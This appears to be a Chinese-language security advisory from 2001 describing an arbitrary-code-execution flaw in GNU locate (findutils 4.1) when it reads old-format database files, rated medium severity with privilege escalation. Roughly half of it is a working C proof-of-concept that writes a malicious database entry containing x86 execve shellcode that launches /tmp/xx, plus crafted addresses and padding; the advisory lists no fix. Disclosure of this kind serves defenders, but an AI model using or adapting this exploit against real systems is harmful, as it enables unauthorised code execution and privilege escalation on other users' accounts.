GNU Locate存在任意命令可执行漏洞发布时间:2001-08-06 更新时间:2001-08-06 严重程度:中 威胁程度:权限提升 错误类型:设计错误 利用方式:服务器模式 受影响系统 GNU findutils 4.1详细描述 GNU locate是可以在文件数据库里搜索那些匹配用户提供的文件名的程序, 其中程序在读由GNU locate 4.0版本之前产生的数据库文件组成的那些"旧" 格式文件时存在边界环境错误问题,攻击者可以写一个恶意条目到其他用户 使用的数据库文件中,这样当其他用户执行locate程序时任意代码可以被 执行。 测试代码 #include <stdio.h> char shellcode[] = "\xeb\x18\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46" "\x0c\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80" "\xe8\xe3\xff\xff\xff/tmp/xx"; char putshell[] = "\x14\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c" "\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96"; int main(void) { int i; int z0=0; int addr=0x0804a970; int z1=0; int addr2=-626; int z2=0; int addr3=addr+6; printf("%s", &addr); printf("%s", &addr3); printf("%s",shellcode); fflush(stdout); for(i=46;i<256;i++) putchar('A'); printf("%s", putshell); fflush(stdout); putchar(0); putchar(30); printf("%s", &addr2); printf("\x82\x83"); fflush(stdout); } 解决方案 尚无 相关信息 |